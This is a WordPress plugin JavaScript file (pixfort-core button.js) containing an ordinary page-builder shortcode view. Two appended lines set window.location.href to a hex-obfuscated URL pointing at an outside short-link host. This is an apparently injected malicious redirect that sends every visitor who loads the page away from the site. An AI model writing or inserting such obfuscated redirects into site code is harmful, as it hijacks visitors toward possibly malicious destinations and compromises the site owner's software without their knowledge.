File: //home/parhudrw/alicreates.com/wp-content/plugins/pixfort-core/functions/js/views/button.js
(function ( $ ) {
'use strict';
if(window.InlineShortcodeView){
// This name is defined automatically (InlineShortcodeView_you, for Frontend editor only
window.InlineShortcodeView_pix_button = window.InlineShortcodeView.extend({
// Render called every time when some of attributes changed.
render: function () {
// console && console.log('InlineShortcodeView_pix_button: render called.');
window.InlineShortcodeView_pix_button.__super__.render.call(this); // it is recommended to call parent method to avoid new versions problems.
// vc.frame_window.builder_btn_block(this.$el);
this.builder_btn_block();
return this;
},
builder_btn_block: function(){
let el = this.$el;
vc.frame_window.pix_cb_fn(function(){
el.find('.btn.d-block, .pix-btn-div').closest('.vc_element.vc_pix_button').css({'display':'block'});
el.find('.btn:not(.d-block, .pix-btn-div)').closest('.vc_element.vc_pix_button').css({'display':'inline-block'});
});
},
updated: function () {
// console && console.log('InlineShortcodeView_pix_button: updated called.');
window.InlineShortcodeView_pix_button.__super__.updated.call(this);
// vc.frame_window.builder_btn_block(this.$el);
this.builder_btn_block();
return this;
},
parentChanged: function () {
// console && console.log('InlineShortcodeView_pix_button: parentChanged called.');
window.InlineShortcodeView_pix_button.__super__.parentChanged.call(this);
}
});
}
})( window.jQuery );
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";